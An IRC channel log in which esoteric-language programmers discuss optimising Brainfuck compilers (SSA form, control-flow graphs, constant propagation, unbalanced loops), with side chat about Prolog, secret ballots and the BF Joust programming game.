14:53:02 <ais523> [>>>] and [<<<] are used to go between addresses known at compile-time and addresses that aren't
14:53:30 <ais523> whereas [<<<<<<] and [>>>>>>] are used to jump between registers, the top of the stack, and the bottom of the frame
14:53:55 <ais523> [[>>>>>>]>>>>>>]<<<<<< goes from a fixed cell near the registers to the top of stack marker cell, for instance
14:53:57 <AnMaster> ais523, anyway. I consider [>>] and [>] and [<] variants of the same idiom
14:54:00 <ais523> and the top of stack data is just next to it
14:54:11 <GregorR> <ais523> it defeats the point of secret ballots, for one thing // howzat?
14:54:24 <AnMaster> same as [>+>+<<-] [>+<-] [>>>>+<<<<-] and so on are also variants
14:54:36 <ais523> GregorR: if there's any method of voting via which you can proved which way you voted (such as postal voting, showing someone the ballot before posting), you can be bribed to use it
14:54:56 <ais523> secret ballots are meant to block bribery/extortion by setting things up so that there's no way you can prove what your vote was
14:55:06 <AnMaster> the key is: "index cell is changed with +/-1, a variable number of other cells are changed with +1 (if index cell was -1) or -1 (if index cell was +1)
14:55:41 <AnMaster> that pass isn't used a lot any more, since the polynomial pass can now handle that.
14:56:04 <AnMaster> So nowdays it is just a special case of the polynomial code.
14:56:39 <AnMaster> so probably going to use general polynomial only for that one in the future
15:01:08 <AnMaster> ais523, anyway using gccbfrle parser is now trivial: ./in-between -p hworld1.bfrle
15:01:23 <AnMaster> ./in-between -p gccbfrle hworld1.bfrle
15:03:38 -!- bsmntbombdood has quit (Read error: 110 (Connection timed out)).
15:04:55 <AnMaster> ais523, tell me when you plan to upload that annotated version
15:05:04 <ais523> probably not for a while
15:05:12 <ais523> not even my email is working atm
15:08:28 <AnMaster> hrrm. Is propagating polynomials a good idea? I mean for example: p[0] = 2*p[1] + 5*p[4]; p[-1] = 2*p[0]; could possibly gain from setting p[0] in the second to the expression of the former. But if the value of p[0] was used in several other polynomials it might be worse to do that for each
15:08:36 <AnMaster> ais523, any idea how to figure out if it is a gain or a loss?
15:08:43 <ais523> AnMaster: try both and compare
15:08:58 <ais523> when in doubt, benchmark
15:09:06 <AnMaster> ais523, it could differ from case to case
15:09:16 <ais523> well then, get your compiler to autobenchmark
15:09:29 <nooga> AnMaster: then draw cool charts
15:09:51 <fizzie> Yes; when in doubt, draw a chart.
15:11:53 <AnMaster> ais523, how does gcc handle something like: int a = y + 3*x; int b = 8*a; int c = 4 * a;
15:12:08 <ais523> AnMaster: probably depends on the rest of the program
15:12:10 <AnMaster> and what if the assignment to c wasn't there?
15:12:17 <ais523> but as this is gcc, "badly" is most likely the resulting guess
15:12:28 <AnMaster> ais523, lets assume a better compiler then?
15:12:51 <AnMaster> is clang better for C code yet?
15:13:13 <AnMaster> sometimes faster than gcc, sometimes slower than gcc
15:13:20 <AnMaster> sometimes no significant difference
15:14:29 <AnMaster> I really need to get that "convert to directed graph" pass done...
15:14:40 <AnMaster> but I still have no clue how to handle loops in that.
15:16:38 -!- myndzi has joined.
15:22:51 -!- FireFly has joined.
15:27:29 <tetha> do you have interesting ideas on this matter? I am currently toying around with a little backtracking language (it is basically backtracking via assigning a range of possible values to variables and looking for the fixed point of a rewrite system).. but now I need something for composite types
15:27:54 <AnMaster> tetha, interesting ideas about backtracking? Hm
15:28:04 <tetha> so basically you could say "my variable x can take all combinations of {confused, sane} and {liar, truth}"
15:28:12 <AnMaster> not really. Haven't used backtracking a lot really.
15:28:26 <tetha> or as in einsteins puzzle, like "this house has an inhabitant which comes from this set, and a pet from this set, ..."
15:28:27 <AnMaster> always thought I should try prolog some day though
15:28:34 <tetha> hehe, I dislike prolog
15:28:41 <tetha> too many really akward quirks to make it highlevel imo
15:28:56 <ais523> I like Prolog because it's a really interesting sort of tarpit
15:29:16 <ais523> the whole language can be implemented in terms of its, syntax, comma, and :-
15:29:25 <ais523> s/its, syntax/its syntax/
15:30:43 <tetha> it just grows really annoying if you have to start doing things like f(x,y) :- foo is bar, bar is baz, foo(baz, qux), y is qux, andsoon. and probably I have written down an endless loop due to the order
15:31:13 <ais523> tetha: you could create a version of Prolog which had return values as syntactic sugar easily enough
15:31:17 <ais523> but I'm not sure that would add to the language
15:31:26 <ais523> the symmetry of predicates is one of its nicest features
15:32:09 <tetha> na, I just dislike the need for explicit binding
15:32:36 <tetha> my intuition says that fac(n,i) :- fac(n-1,i/n). or something like that should work
15:32:52 <AnMaster> ais523, btw if you want to mark some bit of code as unreachable, in-between could benefit from there being a easily detectable infinite loop at that point. It can then figure out that "if we don't get here due to a loop/if/whatever not being taken, then we don't need to consider anything in here for constant propagation purposes (or for other passes either)"
15:33:06 <AnMaster> I think esotope-bfc could benefit from that too
15:33:09 <ais523> why would I generate unreachable code?
15:33:23 <ais523> AnMaster: I don't know they're unreachable
15:33:25 -!- myndzi\ has quit (Read error: 110 (Connection timed out)).
15:33:27 <ais523> that's why there's an assert there
15:33:34 <ais523> at least, they ought to be unreachable
15:33:38 <ais523> but I don't know for certain
15:33:38 <AnMaster> ais523, if they are reached, what do you do now?
15:33:58 <AnMaster> I mean. it seems fairly hard to get out of there
15:34:01 <ais523> AnMaster: by setting the IP to 0 and doing another iteration of the main loop
15:34:11 <ais523> it's pretty easy to get out of anywhere, no matter how deeply nested it is
15:34:29 <AnMaster> ais523, how much is this a compiler to bf, and how much is this a compiler to something with a bf VM?
15:34:30 <ais523> set cc0/1/2/3 all to zero, a couple of flag elements to appropriate values
15:34:37 <ais523> and you'll fall right out of the loop
15:34:39 <ais523> and it's a bit of both
15:34:54 <ais523> it's basically a processor emulator in BF, memory-wise
15:34:58 <AnMaster> ais523, that's rather confusing
15:35:03 <ais523> imagine a processor with BF microcode
15:35:24 -!- bsmntbombdood has joined.
15:35:28 <ais523> it's a separate code/data architecture
15:35:34 <ais523> the data is stored in an emulated processor
15:35:38 <ais523> whereas the code is purely BF
15:35:43 <ais523> the processor emulator is also BF
15:35:55 <ais523> but it's just used to jump between bits of memory
15:37:06 -!- BeholdMyGlory has joined.
15:37:43 <AnMaster> ais523, btw, I think in-between can do at least one thing esotope-bfc couldn't last I looked: turn some unbalanced loops into ifs.
15:38:36 <AnMaster> not sure if lifthrasiir handles that now
15:42:23 <tetha> one of the codespikes from yesterday btw looks like this: http://nopaste.org/p/a2MmTTHxl
15:42:34 -!- ehird_ has joined.
15:43:16 <tetha> ais523: I basically wrote down some code which I figured should work and examined if it can be parsed, evaluated and makes any sense at all
15:43:33 -!- pikhq has joined.
15:44:36 -!- ehird has quit (Read error: 104 (Connection reset by peer)).
15:44:50 -!- ehird_ has changed nick to ehird.
15:50:43 <AnMaster> ais523, does this seem sane to you: http://pastebin.ca/1447639 ?
15:50:52 <AnMaster> I don't know enough about this sort of stuff
15:51:03 <AnMaster> and I don't know how to handle some of the cases
15:52:02 <ais523> AnMaster: looks like you're halfway to inventing monads already
15:52:20 <AnMaster> ais523, hm? It is just representing a bit of bf code as a directed graph
15:52:34 <ais523> AnMaster: monads are more ubiquitous than you might think
15:52:55 <AnMaster> currently in-between often isn't able to figure out optimisations across long stretches of irrelevant code
15:53:07 <AnMaster> ais523, do you mean about the IO ordering?
15:53:09 -!- bsmntbombdood has quit (Success).
15:53:48 <AnMaster> ais523, well my plan is that this should allow me to do DCE as well.
15:54:38 <AnMaster> dead stores is what in-between currently is worst at eliminating for non-trivial cases. Due to it being far back in the linked list already, so going back would often be a pain.
15:55:10 <AnMaster> I do try to have some passes scanning backwards, but that doesn't work too well except for trivial cases.
15:55:31 <AnMaster> ais523, anyway, any idea how to handle ifs and similar?
15:56:26 <pikhq> AnMaster: Working on a specializer, or just a compiler?
15:56:44 <AnMaster> ais523, and should I have edges both ways, or just in one direction (that is: either "this is reached by" or "this reaches", or both)?
15:56:58 <ais523> AnMaster: I'm not an expert on such things...
15:57:11 <AnMaster> ais523, anyone here good at it? Or any good resource to read about this?
15:57:35 <tetha> in doubt, the dragon book
15:57:52 <tetha> the dragon book is the holy bible of compiler construction
15:59:04 <tetha> because the cover images usually are dragons of different color
15:59:27 <tetha> dragons and knighs to be precise
16:00:07 <tetha> with LALR-parser-generator-lances
16:00:40 -!- Slereah_ has quit (Read error: 110 (Connection timed out)).
16:01:00 -!- Slereah_ has joined.
16:02:06 <AnMaster> ais523, really what I'm trying to make is a dependency graph...
16:02:46 <tetha> do you mean a control flow graph?
16:04:16 <AnMaster> tetha, possibly dependencies between memory stores. Basically representing BF code as a graph so I can work on that so I can eliminate dead stores and such
16:04:37 <AnMaster> and propagate values/constants and such
16:04:44 <tetha> I think you want to lookat SSA forms and optimizations on such
16:04:49 <AnMaster> currently I have scanning optimisation passes, that just scans forwards.
16:05:20 <AnMaster> tetha, hm... How would one represent a BF loop still? I'm pretty sure I have to end one graph at an unbalanced loop and start a new one after...
16:05:36 <AnMaster> it might be possible to do something
16:05:55 <tetha> loops and ifs in the SSA-form are branches and joins or cycles
16:06:02 <AnMaster> (which are just loops that I previously figured out will run at most once)
16:06:12 <tetha> together with phi-nodes which join the values depending on the edge you come from
16:07:01 <Sgeo> DO_PROCESS [#6236]: [setq(0,u(num_to_exit,rand(1,4)))][u(open,%q0)][switch(rand(0,1),0,u(open,u(next_exit,%q0)),1,u(close,u(next_exit,%q0)))][switch(rand(0,1),0,u(open,u(next_exit,u(next_exit,%q0))),1,u(close,u(next_exit,u(next_exit,%q0))))][switch(rand(0,1),0,u(open,u(next_exit,u(next_exit,u(next_exit,%q0)))),1,u(close,u(next_exit,u(next_exit,u(next_exit,%q0)))))][switch(u(player_x),u(dest_x),switch(u(player_y),u(dest_y),u(do_win)))]
16:07:24 <Sgeo> I could have written that to be less ugly, but it works as is
16:07:37 <AnMaster> tetha, so how does one represent SSA best? The compiler I'm working on is written in Erlang, which is functional and single-assignment...
16:08:22 <AnMaster> there is a built in "digraph" module for directed graphs.. So it would possibly be useful if I could somehow use that.
16:09:14 <tetha> take a look at the article on wikipedia, it's not that bad
16:10:08 -!- pikhq has quit (Read error: 104 (Connection reset by peer)).
16:11:35 -!- pikhq has joined.
16:12:37 -!- Slereah has quit ("Leaving").
16:15:43 <AnMaster> tetha, you mentioned control flow graph too. Forgive my ignorance, but when do you use such?
16:18:50 <tetha> you can use it to make statements about the execution of program statements, so for example "i dont need this program statement until that program statement happens, so I can move the first program statement into this branch and thus remove some required computation from before the branch"
16:19:06 <tetha> and moving things into a branch (for example) could improve runtime
16:20:52 <AnMaster> I do similar things for a few simple cases, but not using a graph.
16:22:05 <AnMaster> tetha, ok, I can see how to represent ifs in SSA form. Not sure about loops in general though...
16:22:59 <tetha> how are brainfucks semantics with respect to unbalanced loops?
16:24:01 <pikhq> Work just fine. (making loop unrolling a tiny bit tricky)
16:24:03 <AnMaster> tetha, well I meant "Not sure about balanced loops in general". For unbalanced loops/ifs it probably isn't possible at all. I don't plan to handle those. Rather I would begin a new block after such cases.
16:25:36 <AnMaster> pikhq, for unbalanced loops you can't solve the issue in general. You can possibly figure it out in a few cases. Like +>+>[-]<<[>] will end up at the just zeroed cell.
16:25:56 <AnMaster> in general, it would be TC to figure out where it ends up
16:42:16 <AnMaster> ais523, tell me when you paste that annotated version
16:55:50 -!- BeholdMyGlory has quit (Remote closed the connection).
16:56:15 -!- BeholdMyGlory has joined.
17:04:00 <ais523> nooga: single static assignment
17:04:08 <ais523> instead of a = a + 1 increasing a
17:04:24 <ais523> it creates a new variable (say, a1), does a1 = a + 1, and replaces all uses of a with a1 in the rest of the program
17:04:31 <ais523> looping is left as an exercise to the reader
17:08:39 <AnMaster> ais523, an exercise I fail to figure out
17:09:00 <ais523> AnMaster: lambda binding, to generate infinite new variables
17:09:04 <ais523> nooga: various purposes
17:09:14 <AnMaster> ais523, hm. Not sure what you mean with that
17:09:16 <ais523> it makes implementation a lot easier; some compilers (such as gcc) compile via that form
17:09:35 <ais523> although gcc doesn't use SSA for loops, just for basic blocks
17:10:19 <AnMaster> ais523, I have it figured out for basic blocks and for balanced ifs. Not for anything else though...
17:10:33 <ais523> imbalanced ifs, it's obviously impossible
17:10:38 <ais523> balanced whiles should be easy though
17:10:55 <ais523> AnMaster: same way as ifs
17:11:04 <ais523> a while loop is equivalent to an infinite chain of igs
17:11:25 <AnMaster> ais523, so phi(var-before-loop, var at end of loop) at the beginning of the loop?
17:11:43 <ais523> I'm trying to debug TAEB's Sokoban spoilers
17:11:52 <ais523> AnMaster: as in, I don't particularly care, because I'm working on something else
17:11:57 <AnMaster> ais523, what was the lambda thing you mentioned btw?
17:12:10 <ais523> AnMaster: looping via recursions
17:12:18 <ais523> because an SSA progam can't loop via iteration
17:12:19 <AnMaster> ais523, as for ifs I meant "balanced ifs with no loops inside"
17:12:39 <ais523> a while could use infinite variables
17:12:52 <ais523> I mean, while(1) {a++;} doesn't have an SSA form
17:13:06 <AnMaster> ais523, so what do you do when you hit a loop like that
17:13:25 <ais523> if you want to be really insane, you could replace while loops with state machines
17:13:31 <ais523> but decompiling them afterwards would be a pain
17:13:35 <ais523> and it wouldn't work on unbalanced loops
17:13:42 <AnMaster> such as [+] (except I would have converted that to a "set" already)
17:14:22 <AnMaster> but surely there are more complex ones I haven't handled already
17:15:07 <AnMaster> ais523, how would you handle that example in SSA?
17:15:25 <ais523> AnMaster: you can't, there are clearly an infinite number of variables
17:15:33 <ais523> normally people break SSA slightly at such points
17:16:10 -!- MigoMipo has joined.
17:16:23 <ais523> AnMaster: something else
17:16:31 <ais523> ordinary imperative-style, for instance
17:16:41 <AnMaster> ais523, what if you know the loop is finite, but don't know number of iterations. Like ,[>++>,.<<-]
17:16:42 <ais523> put it this way: you can't SSA an entire program without some form of recursion concept
17:16:59 <ais523> AnMaster: if you know max iterations, you could unroll it
17:17:02 <ais523> probably not worth it though
17:17:19 <AnMaster> ais523, yes I realise I have to give up on unbalanced loops. But question is, do I have to give up on balanced ones too?
17:17:35 <ais523> you don't have to, but possibly you should
17:17:49 <ais523> you can rely on the fact that variables max out at 255 to work out the max number of iterations
17:17:58 <ais523> then convert to a chain of ifs
17:18:16 <AnMaster> ais523, that would be pessimsation
17:20:05 -!- impomatic has joined.
17:20:12 <AnMaster> ais523, how does SSA form relate to control flow graph btw. Do they coexist for different bits... or do they somehow conflict?
17:20:31 <nooga> http://nopaste.org/p/a2MmTTHxl < does it work?
17:20:33 <AnMaster> and how would one implement control flow graph for bf in general..
17:21:10 <AnMaster> nooga, why not test it yourself. You haven't even told us what language it is in...
17:22:24 <AnMaster> then what do you want us to do about it
17:23:25 <nooga> someone pasted it previously
17:23:30 <nooga> i thought he's still here
17:24:04 -!- KingOfKarlsruhe has joined.
17:24:11 * pikhq goes off to futz with his specialiser.
17:24:14 <Deewiant> tetha's still here, for certain values of "here"
17:24:27 <pikhq> The hard part is, of course, the freaking loop unrolling.
17:24:48 <AnMaster> pikhq, it isn't too bad when loop is balanced.
17:29:02 <AnMaster> I don't think I can currently handle [->[->++<]<] for example.. it ends up as something like: while(p[0]) { p[0]-=1; p[2]+=2*p[1]; p[1] = 0; } unless I can figure out iteration count of the outer loop.
17:29:06 -!- MigoMipo has quit ("http://www.mibbit.com ajax IRC Client").
17:31:30 <nooga> pikhq: writing a specializer? :D
17:42:26 * AnMaster considers a C processor. Not sure how
18:01:43 -!- AnMaster has quit (Connection timed out).
18:03:14 <ais523> hah, bing's autocompletions for "linux" are hilarious
18:03:35 <ais523> "linux", "linux windows", "linux microsoft", "linux vista" are the first four
18:17:19 <ais523> Gracenotes: I checked less than 20 minutes ago
18:17:24 <ais523> so I'd be surprised if it wasn't
18:17:59 <Gracenotes> I suppose they're not too concerned about the well-publicized screenshot. Not like they would be
18:18:46 <Sgeo> Do not pull off your head to avoid dissolution. It never works.
18:19:51 <Gracenotes> anyway, Linux Vista is my favorite OS!
18:20:53 <Deewiant> Why should it change? It'll adapt to the users
18:22:20 <ais523> the worrying thing is, people will see the famous autocomplete and do the searches it suggests out of curiosity
18:22:24 <ais523> so it's a self-reinforcing loop
18:30:05 -!- inurinternet has joined.
18:34:58 -!- AnMaster has joined.
18:37:03 <pikhq> My specialiser is currently doing as little loop unrolling as possible...
18:39:17 <nooga> you specialize bf interpreter written in C?
18:39:39 <pikhq> Nah, hacking it together in Tcl.
18:39:46 <pikhq> And... Specialise BF interpreter? Wha?
18:42:58 <nooga> i mixed your specializer with AnMaster's compiler
18:43:43 <pikhq> If I wanted a good specialiser, I'd probably start by forking esotope...
18:43:53 <pikhq> As it is, meh. I can hack something together rather quickly.
18:44:39 <nooga> AnMaster: decompiler?
18:44:48 <AnMaster> pikhq, esotope-bfc is in python btw
18:44:56 <AnMaster> nooga, what are you talking about. Notice I just joined
18:45:21 <pikhq> AnMaster: Yeah, I know. I've read it.
18:46:29 <AnMaster> pikhq, and what is your specialiser taking as input and generating as output? I know what a specialiser is in theory. But I assume you need to take some specific input format still
18:47:17 -!- jix_ has joined.
18:48:09 <pikhq> AnMaster: Part of stdin, generating Brainfuck code.
18:49:22 <AnMaster> pikhq, so the original program you are specialising is in BF? And the output is a specialised bf program?
18:49:39 <AnMaster> also wth is it that is disk trashing every few seconds..
18:49:52 <pikhq> Not exceptionally useful, I know. ;)
18:57:23 <nooga> instead of writing specializer i'd just write sadol->exec compiler in ruby
18:57:33 <nooga> then rewrite the compiler in sadol
18:57:51 <nooga> and i'd end up with sadol->exec compiler in sadol
18:58:15 <nooga> that would be able to compile itself
18:58:59 <pikhq> A specialiser is much more interesting, though.
18:59:12 -!- jix has quit (Read error: 110 (Connection timed out)).
18:59:41 <nooga> but it makes my brain sore
19:00:09 <pikhq> That's because you fail.
19:02:26 * pikhq observes that LostKingdom doesn't get much out of his method of specialisation
19:02:53 <pikhq> ... Since it kinda has a "Would you like to play again?" thing at the end.
19:05:17 <AnMaster> <pikhq> Not exceptionally useful, I know. ;)
19:05:39 <AnMaster> what about a bf interpreter written in bf, and a bf program
19:06:14 <AnMaster> pikhq, also... why would the "Would you like to play again?" prevent anything if you answered n ?
19:06:33 <AnMaster> pikhq, and one of the best things for lostkingdom is to do dead code elimination
19:06:39 <ais523> the save could also confuse things
19:06:53 <ais523> AnMaster: it saves to memory
19:06:59 <ais523> but you can reload from the same bit of memory
19:07:29 <AnMaster> ais523, but isn't that a bit pointless. Or can you ask it to dump it so you can write it in a file?
19:07:55 <ais523> but it's useful for going back when you've made a mistake
19:08:01 <ais523> to prevent having to restart whenever you die
19:08:19 <ais523> I do have actual save files of Lost Kingdom, but only because I wrote a serialising BF interp
19:15:38 -!- kar8nga has joined.
19:20:17 <AnMaster> ais523, what about pasting that annotated one btw?
19:24:22 <ais523> AnMaster: <http://filebin.ca/wtdmcm/hworld.annotated.bfrle>, enjoy
19:24:27 <ais523> the annotations are comments starting with %
19:24:37 <ais523> which are actually comments, they don't affect the program, just comment on it
19:25:50 <pikhq> AnMaster: My specialiser does dead code elimination, just because it's trivial.
19:27:56 <pikhq> If LostKingdom didn't have that "Would you like to restart" bit, it could trivially generate a version of LostKingdom without long or short output...
19:28:49 <pikhq> ais523: Hmm. So, GCC-BF works to some extent?
19:28:56 <impomatic> Was BF Joust inspired by any other programming game? I haven't seen a capture the flag game before.
19:29:08 <ais523> that hello world was doctored until it worked
19:29:14 <ais523> impomatic: it was loosely inspired by corewar, I think
19:29:30 <ais523> capture-the-flag wouldn't really work in most langs, I imagine
19:29:39 <pikhq> Also, Brainfuck Mode... Hmm.
19:29:47 <ais523> and it's only half of capture-the-flag, as you don't have to transport the flag back to your own base
19:32:41 * pikhq might want the source for that Brainfuck mode
19:33:13 <ais523> pikhq: it's floating around on pastebin somewhere
19:39:34 -!- tetha has quit (Read error: 60 (Operation timed out)).
19:43:01 -!- tetha has joined.
19:43:01 -!- KingOfKarlsruhe has quit (Remote closed the connection).
19:43:01 -!- BeholdMyGlory_ has joined.
19:43:52 <ais523> AnMaster: it introduces annotations
19:43:55 <ais523> which show tape positions
19:44:03 <ais523> %2512 means "the pointer is definitely at tape location 2512"
19:44:16 <ais523> and bfrle will dump tape if it isn't, to aid in debugging
19:44:24 <AnMaster> ais523, anything else that might mess up parsing if you just discard these?
19:44:43 <ais523> AnMaster: it means that the pointer is currently at the mark
19:44:49 <ais523> which is a memory location which can be moved to and from easily
19:45:06 <ais523> the mark is marked by writing a 0 in the line of 1s that's at every third location, and that I go to so much trouble setting up
19:45:07 <AnMaster> ais523, there isn't anything describing those idioms your mentioned though
19:45:16 <ais523> so I can jump from the mark to the left end of the tape using [>>>] [<<<]
19:45:26 <ais523> well, one or the other, depending on which way I'm going
19:45:52 <AnMaster> (or whatever it was you mentioned before)
19:46:12 <AnMaster> stuff that will not mess up for other bf programs that aren't from gcc-bf.
19:46:18 <ais523> there's a text file somewhere, but it's wrong and out of date
19:46:19 <pikhq> When GCC-BF works moderately well, I think I'll have to write a Brainfuck specialiser in C. ;)
19:46:32 <AnMaster> ais523, Hm. Since I don't have a local copy of the source...
19:49:08 -!- kar8nga has quit (Remote closed the connection).
19:49:18 <AnMaster> ais523, So. Any chance of getting a copy of it?
19:49:29 -!- BeholdMyGlory has quit (Success).
19:49:38 <ais523> AnMaster: not right now, I'm busy
19:49:51 <ais523> and it doesn't work properly yet, although you're free to try to make it work by yourself
19:50:14 <AnMaster> ais523, well. Knowing the idioms would be potentially useful in any case
19:50:20 -!- BeholdMyGlory_ has changed nick to BeholdMyGlory.
19:50:27 <ais523> I don't even know how many are correct
19:50:39 * AnMaster wonders about some generic way to represent special cased idioms that won't require updating all the optimiser passes
19:51:13 <ais523> AnMaster: something like OIL?
19:51:57 <AnMaster> ais523, hm? I mean if I add a "32 bit addition" node I need to add code to all the optimiser passes to tell them how to handle it
19:52:11 <ais523> OIL just used C to represent all the intermediate code
19:52:20 <ais523> and only one optimiser pass needed that information
19:52:24 <ais523> so I just special-cased it
19:52:25 <AnMaster> the constant propagation pass needs to know what instructions clobber and what ones doesn't
19:52:46 <ais523> c = d; /* d not clobbered */
19:52:54 <ais523> c = d; d = 0; /* d clobbered */
19:52:57 <AnMaster> ais523, sure. that would be a polynomial
19:53:15 <AnMaster> but lets say I add "32-bit addition", then that means 4 cells will be clobbered
19:53:15 <ais523> if you use a simple language to represent the transformations, there's no need for hundreds of special cases
19:53:20 <ais523> just a few general ones
19:53:28 <ais523> 32-bit addition wouldn't be a single node
19:53:31 <AnMaster> ais523, I'm not C specific. I can have other backends
19:53:32 <ais523> but a C description of what the operation did
19:53:39 <ais523> and there's no real reason to pick C in particular
19:53:46 <ais523> except it has a decent instruction set for this sort of thing
19:53:58 <ais523> you just need some simple arithmetic language to represent what the idioms are doing
19:53:59 <AnMaster> ais523, I mean, all code tries to be backend agnostic. I plan to add other output languages too
19:54:14 <ais523> OIL's backend agnostic too, doesn't mean it can't use C operators internally
19:54:32 <AnMaster> ais523, sure. But lets consider turning [>] into a special "seek" node. Agree that other passes need to know that it is unbalanced for example?
19:54:47 <AnMaster> and passes need to know IO instructions can't be reordered
19:54:52 <ais523> it sets the IP to a different value to what it has originally
19:55:02 <ais523> therefore, you can deduce it's unbalanced by looking at the resulting code
19:55:13 <AnMaster> ais523, yes. But I reorder > relative other stuff (except seek and unbalanced loops).
19:56:27 <AnMaster> I change to use "offsets from current base" and then the > and < pile up in front of the next place they can't move past
19:56:27 <AnMaster> they are then merged into a single move node there
19:56:27 <AnMaster> anyway, later on some other pass might remove that loop if it found out that it was a dead loop
19:56:33 <AnMaster> the constant propagation pass for example
19:56:44 <AnMaster> they those > are now free to move forwards even more
19:57:14 <ais523> it's a case of ip++; ip--;
19:57:17 <ais523> which can pile up, and combine
19:57:24 <ais523> but that's just still a simple C operator
19:57:26 -!- impomatic has left (?).
19:57:34 <ais523> if you need to know if something's imbalanced, look to see if it assigns to the IP
19:58:08 <ais523> that's a[x]=0; ip++; a[x]+=2; ip--; while(a[x]) ip+=2;
19:58:22 <ais523> after one pass of your optimiser, that will become a[x]=0; a[x+1]+=2;
19:58:27 <ais523> and at that point, there are no assignments to the ip
19:58:32 <AnMaster> the passes, such as "combiner", "shifter", "constant propagator", "loop analysis", "initial memory assumed to be 0" and so on are run after each other until nothing changes
19:58:32 <ais523> so it now knows the loop is balanced
19:58:38 <ais523> and can do more optimisations
19:58:41 <AnMaster> lostkingdom takes something like 10 iterations
19:58:45 <ais523> you just run all the passes repeatedly until you get no change
19:59:27 <ais523> AnMaster: so really, you don't need a balanced/unbalanced loop flag at all
19:59:27 <AnMaster> ais523, the point is, if I add a new type of "node" in my "parse tree", the various passes need to know what to do with it
19:59:27 <ais523> just as long as you use a simple enough representation for your intermediate forms
19:59:27 <AnMaster> or they could produce broken code
19:59:27 <ais523> you /do not add new nodes/
19:59:29 <ais523> you use just a few nodes, and assemble programs out of them
19:59:36 <ais523> if, while, +, -, *, /, = should be enough
20:01:10 <AnMaster> ais523, you forgot "repeat". When you know number of iterations
20:01:10 <AnMaster> but when unrolling would be a bad idea
20:01:10 <AnMaster> like huge ones with lots of stuff that is hard to fold
20:01:10 <ais523> while loop with a separate counter?
20:01:10 <ais523> that'll be optimised by the C compiler better than you could optimise it by hand
20:01:10 <AnMaster> (it turns into something like {int i; for (i=0; i<12; i++) { foo }}
20:01:33 <ais523> that's {int i=0; while(i<2) {foo; i++;}}
20:01:33 <AnMaster> ais523, but how could a normal loop node represent it?
20:01:48 <ais523> they are equivalent, as long as you aren't messing with break/continue, and you aren't
20:01:53 <ais523> so there it is, represented with a while node
20:02:03 <AnMaster> ais523, but various passes exploit the fact that the iteration count is known
20:02:15 <ais523> they can match that specific pattern, then
20:02:17 <AnMaster> like knowing it will always be run if we hit it
20:02:25 <ais523> or do you not have powerful pattern matching?
20:02:38 <ais523> what I mean is, you write your repeat node in terms of low-level instructions
20:02:38 <AnMaster> unlike a while loop in general, which might have 0 for current cell and thus never run
20:02:44 <ais523> so you don't have to special-case it everywhere
20:02:47 <ais523> only in the few places it matters
20:03:43 <AnMaster> well, for loops and loop like I do have a general way. But when you add "complex expression" instead of just "set, add" then things aren't so easy
20:05:40 -!- oerjan has joined.
20:06:33 <AnMaster> ais523, in particular the various passes need to know if the instruction 1) has a body (loops, ifs, ...) 2) performs IO (thus need to be strictly ordered compared to other instructions) 3) is unbalanced with variable movement (thus you can't assume values are at the offsets you expect after) 4) moves pointer fixed amount (yes this is needed, otherwise you couldn't figure out a dead unbalanced loop lik
20:06:33 <AnMaster> e >[-]>++<[>>], the constant propagator need to offsets it's known data at the > before the unbalanced loop)
20:06:45 <oerjan> * ais523 wonders how defend7 can /still/ be third on the BF Joust leaderboard, after all this time...
20:06:55 <AnMaster> 5) What cells are read and what cells are written
20:07:10 <oerjan> if your R/P/S theory is correct, maybe few others have tried to make defenders?
20:07:13 <AnMaster> ais523, I guess you could have some generic "introspection" framework for telling this
20:07:21 <ais523> oerjan: *counterdefenders?
20:07:30 <ais523> but they have been, to knock defend9 down
20:08:07 <ais523> AnMaster: generic's the idea
20:08:07 <AnMaster> ais523, but in general, optimising to high level "intrinsics" allow better output. So just representing things in low level terms isn't such a bright idea either...
20:08:07 <oerjan> ais523: oh so defend.* does not mean a defending program?
20:08:13 <AnMaster> ais523, I considered a generic "reverse inliner"
20:08:20 <ais523> oerjan: defend* are defending programs
20:08:21 <AnMaster> for moving parts often used out in separate functions
20:08:28 <AnMaster> it might be useful for stuff like gcc-bf
20:08:31 <ais523> but in order to make a defence program do badly, you need a counterdefence program
20:08:37 <ais523> rather than a second defence program
20:08:51 <AnMaster> but I don't think it would be impossible
20:09:37 <oerjan> ais523: um i thought the other way around, if you have R/P/S then there will always be a balance between the three types, so the only way to truly remove something is by outcompeting it by things in its own class?
20:09:52 <ais523> oerjan: ah, interesting
20:09:55 <oerjan> of course that would only hold up to a poin
20:10:01 <ais523> I think the problem is that there isn't a balance
20:10:10 <ais523> there's so much attack there that defence does well and counterdefence does badly
20:10:52 <oerjan> so to restore balance, add more defence
20:12:02 <AnMaster> ais523, so how would your simple base thing handle that
20:12:13 <AnMaster> suddenly you have separate trees.
20:12:16 <oerjan> i guess a balance would require all three types to participate equally in the arms race
20:12:34 <ais523> AnMaster: you record a description of what the function does
20:12:53 * oerjan automatically thinks of dinosaur growth...
20:13:44 <oerjan> except predator/prey is not R/P/S afaik
20:13:48 <AnMaster> ais523, and if you wanted to make an SSA form pass or group of passes then you need the SSA -> BF and BF -> SSA to be able to transform all relevant instructions
20:14:07 <ais523> AnMaster: you can express SSA pretty well with just the operators I stated
20:14:45 <AnMaster> sure. Still some stuff ends up better as intrinsics than with those basic things. Because now other passes can see an idiom with much less work
20:15:11 <AnMaster> ais523, anyway you forgot the difference between "output cell" and "output constant list of values".
20:16:11 <ais523> outputting a constant list is just a row of output-constant
20:16:17 <ais523> you can handle that specially in the back end
20:16:23 <ais523> but there's no need to handle it specially before then
20:16:30 <ais523> because special-casing for no good reason = bad
20:16:51 <AnMaster> ais523, as for writing all passes in something like OIL. I can't see that working for more than handling idioms. It wouldn't handle constant/copy/value propagation across long stretches of code very well would it?
20:17:16 <ais523> if you use a proper tree structure, you can just have an "arbitrary code here" node
20:17:30 <ais523> you'd probably need to generalise slightly to "arbitrary code not containing X here"
20:17:32 <AnMaster> ais523, OIL can build some sort of internal state of known state of stuff?
20:17:37 <ais523> but not much more than that
20:17:41 <ais523> and OIL is a tree-rewriter
20:17:45 <ais523> the entire relevant state is on the tree
20:17:53 <ais523> /because/ it's all so simple
20:18:06 <ais523> you want to know if a particular element is assigned to? See if there's an assignment to it!
20:18:12 -!- tombom has joined.
20:18:21 <AnMaster> ais523, so what is the proper tree structure for BF?
20:18:53 <ais523> and my guess is, initially it's just a chain of commands, with [] going to subtrees
20:18:59 <ais523> and it would get more convoluted as you optimised
20:22:09 <AnMaster> <ais523> and my guess is, initially it's just a chain of commands, with [] going to subtrees
20:23:31 <AnMaster> constant folding requires carrying some sort of state describing what you know are you are going along
20:23:50 <ais523> or pattern matching across the tree
